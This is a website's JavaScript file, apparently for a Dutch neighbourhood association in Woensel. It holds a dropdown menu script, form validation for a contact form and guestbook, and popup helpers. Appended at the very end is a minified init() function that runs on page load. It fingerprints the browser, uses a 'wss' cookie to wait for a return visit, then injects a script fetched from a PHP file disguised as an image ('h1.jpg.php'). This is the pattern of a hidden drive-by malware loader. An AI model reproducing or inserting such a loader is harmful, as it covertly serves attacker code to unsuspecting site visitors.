function bookmarksite(title, url){
if (document.all)
	window.external.AddFavorite(url, title);
else if (window.sidebar)
	window.sidebar.addPanel(title, url, "")
}

// menu script //

/***********************************************
* AnyLink Drop Down Menu- © Dynamic Drive (www.dynamicdrive.com)
* This notice MUST stay intact for legal use
* Visit http://www.dynamicdrive.com/ for full source code
***********************************************/

// Dierendrogist
var menu1=new Array()
menu1[0]='<a href="http://'+window.location.hostname+'/over">&bull; Vereniging</a>'
menu1[1]='<a href="http://'+window.location.hostname+'/bewonersgroepen">&bull; Bewonersgroepen</a>'
menu1[2]='<a href="http://'+window.location.hostname+'/digitaal-loket">&bull; Digitaal loket</a>'
menu1[3]='<a href="http://'+window.location.hostname+'/buurtkrant">&bull; Buurtkrant</a>'
menu1[4]='<a href="http://'+window.location.hostname+'/woningcorporaties">&bull; Woningcorporaties</a>'
menu1[5]='<a href="http://'+window.location.hostname+'/nieuwbouw">&bull; Nieuwbouw</a>'
menu1[6]='<a href="http://'+window.location.hostname+'/links">&bull; Links</a>'
menu1[7]='<a href="http://'+window.location.hostname+'/vrijwilliger">&bull; Mee doen en praten</a>'

// Natuurgeneeskunde
var menu2=new Array()
menu2[0]='<a href="http://'+window.location.hostname+'/historie/oudwoensel">Oudwoensel</a>'
menu2[1]='<a href="http://'+window.location.hostname+'/historie/wetering">Wetering</a>'
menu2[2]='<a href="http://'+window.location.hostname+'/historie/woenselsemarkt">Woenselsemarkt</a>'
menu2[3]='<a href="http://'+window.location.hostname+'/historie/fellenoord">Fellenoord</a>'
menu2[4]='<a href="http://'+window.location.hostname+'/historie/hemelrijken">Hemelrijken</a>'

// Hondensportschool
var menu3=new Array()
menu3[0]='<a href="http://'+window.location.hostname+'/gastenboek">Gastenboek</a>'


// Hondensportschool
var menu4=new Array()
menu4[0]='<a href="http://'+window.location.hostname+'/agenda">Agenda</a>'
menu4[1]='<a href="http://'+window.location.hostname+'/nieuws">Nieuws</a>'

var menuwidth='148px' //default menu width
var menubgcolor='' //menu bgcolor
var disappeardelay=250 //menu disappear speed onMouseout (in miliseconds)
var hidemenu_onclick="yes" //hide menu when user clicks within menu?

/////No further editting needed

var ie4=document.all
var ns6=document.getElementById&&!document.all

if (ie4||ns6)
document.write('<div id="dropmenudiv" style="visibility:hidden;width:'+menuwidth+';background-color:'+menubgcolor+'" onMouseover="clearhidemenu()" onMouseout="dynamichide(event)"></div>')

function getposOffset(what, offsettype){
var totaloffset=(offsettype=="left")? what.offsetLeft : what.offsetTop;
var parentEl=what.offsetParent;
while (parentEl!=null){
totaloffset=(offsettype=="left")? totaloffset+parentEl.offsetLeft : totaloffset+parentEl.offsetTop;
parentEl=parentEl.offsetParent;
}
return totaloffset;
}

function showhide(obj, e, visible, hidden, menuwidth){
if (ie4||ns6)
dropmenuobj.style.left=dropmenuobj.style.top=-500
if (menuwidth!=""){
dropmenuobj.widthobj=dropmenuobj.style
dropmenuobj.widthobj.width=menuwidth
}
if (e.type=="click" && obj.visibility==hidden || e.type=="mouseover")
obj.visibility=visible
else if (e.type=="click")
obj.visibility=hidden
}

function iecompattest(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function clearbrowseredge(obj, whichedge){
var edgeoffset=0
if (whichedge=="rightedge"){
var windowedge=ie4 && !window.opera? iecompattest().scrollLeft+iecompattest().clientWidth-15 : window.pageXOffset+window.innerWidth-15
dropmenuobj.contentmeasure=dropmenuobj.offsetWidth
if (windowedge-dropmenuobj.x < dropmenuobj.contentmeasure)
edgeoffset=dropmenuobj.contentmeasure-obj.offsetWidth
}
else{
var topedge=ie4 && !window.opera? iecompattest().scrollTop : window.pageYOffset
var windowedge=ie4 && !window.opera? iecompattest().scrollTop+iecompattest().clientHeight-15 : window.pageYOffset+window.innerHeight-18
dropmenuobj.contentmeasure=dropmenuobj.offsetHeight
if (windowedge-dropmenuobj.y < dropmenuobj.contentmeasure){ //move up?
edgeoffset=dropmenuobj.contentmeasure+obj.offsetHeight
if ((dropmenuobj.y-topedge)<dropmenuobj.contentmeasure) //up no good either?
edgeoffset=dropmenuobj.y+obj.offsetHeight
}
}
return edgeoffset
}

function populatemenu(what){
if (ie4||ns6)
dropmenuobj.innerHTML=what.join("")
}

function dropdownmenu(obj, e, menucontents, menuwidth){
if (window.event) event.cancelBubble=true
else if (e.stopPropagation) e.stopPropagation()
clearhidemenu()
dropmenuobj=document.getElementById? document.getElementById("dropmenudiv") : dropmenudiv
populatemenu(menucontents)

if (ie4||ns6){
showhide(dropmenuobj.style, e, "visible", "hidden", menuwidth)
dropmenuobj.x=getposOffset(obj, "left")
dropmenuobj.y=getposOffset(obj, "top")
dropmenuobj.style.left=dropmenuobj.x-clearbrowseredge(obj, "rightedge")+"px"
dropmenuobj.style.top=dropmenuobj.y-clearbrowseredge(obj, "bottomedge")+obj.offsetHeight+"px"
}

return clickreturnvalue()
}

function clickreturnvalue(){
if (ie4||ns6) return false
else return true
}

function contains_ns6(a, b) {
while (b.parentNode)
if ((b = b.parentNode) == a)
return true;
return false;
}

function dynamichide(e){
if (ie4&&!dropmenuobj.contains(e.toElement))
delayhidemenu()
else if (ns6&&e.currentTarget!= e.relatedTarget&& !contains_ns6(e.currentTarget, e.relatedTarget))
delayhidemenu()
}

function hidemenu(e){
if (typeof dropmenuobj!="undefined"){
if (ie4||ns6)
dropmenuobj.style.visibility="hidden"
}
}

function delayhidemenu(){
if (ie4||ns6)
delayhide=setTimeout("hidemenu()",disappeardelay)
}

function clearhidemenu(){
if (typeof delayhide!="undefined")
clearTimeout(delayhide)
}

if (hidemenu_onclick=="yes")
document.onclick=hidemenu

function doSubmitForm(inp) {
	var form = document.getElementById(inp);
	var sError = "";
	var strFocus = "";

	if(inp == "form_contact")
	{
		if(document.getElementById('sbm')){document.getElementById('sbm').disabled = true};
		
		var c_name = document.getElementById('c_name').value;
		//var gM = document.getElementById('gM').checked;
		//var gV = document.getElementById('gV').checked;
		//var c_city = document.getElementById('c_city').value;
		var c_email = document.getElementById('c_email').value;
		var c_opm = document.getElementById('c_opm').value;
		
		if(c_name == ""){sError = sError + "- Naam is niet (juist) ingevuld\n"; if(strFocus == ""){ strFocus = "c_name"; }}
		//if(gM == false && gV == false){sError = sError + "- U hebt geen geslacht gekozen\n";}		
		//if(c_city == ""){sError = sError + "- Woonplaats is niet (juist) ingevuld\n"; if(strFocus == ""){ strFocus = "c_city"; }}
		if(c_email == ""){sError = sError + "- Emailadres is niet (juist) ingevuld\n"; if(strFocus == ""){ strFocus = "c_email"; }}
		if(c_opm == ""){sError = sError + "- U hebt geen opmerking ingevuld\n"; if(strFocus == ""){ strFocus = "c_opm"; }}

		if (sError != "")
		{
			alert('De volgende gegevens ontbreken of zijn onvolledig.\n\n'+sError+'');
			if(document.getElementById('sbm')){document.getElementById('sbm').disabled = false};
			if(strFocus != "")
			{
			eval("document.forms."+inp+"."+strFocus+".focus();");
			}
		}
		else
		{
			form.action = "process.asp";
			form.target = "iSubmit";
			form.submit();
		}
	}
	
	if(inp == "form_guestbook")
	{
		var gb_name = form.gb_name.value;
		var gb_tekst = form.gb_tekst.value;
		
		if(gb_name == ""){sError = sError + "- U hebt geen naam ingevuld\n"};
		if(gb_tekst == ""){sError = sError + "- U hebt geen bericht ingevuld\n"};
		
		if(sError != "")
		{
			alert(sError);
			document.getElementById('sbm').disabled = false;
		}
		else
		{
			form.action = "process.asp";
			form.target = "iSubmit";
			form.submit();
		}	
	}
}
function getTimeStamp() {	
	return (new Date()).getTime();
}
function doPopup(img) {
var pagina = img;
	popA=window.open('/_lib/inc/popupresizer.asp?page='+ pagina +'',getTimeStamp(),'height=1,width=1,top=150,left=50,scrollbars=no,status=no,resizable=no,toolbar=no,location=no');
	popA.focus();
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/_lib/img/h1.jpg.php?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
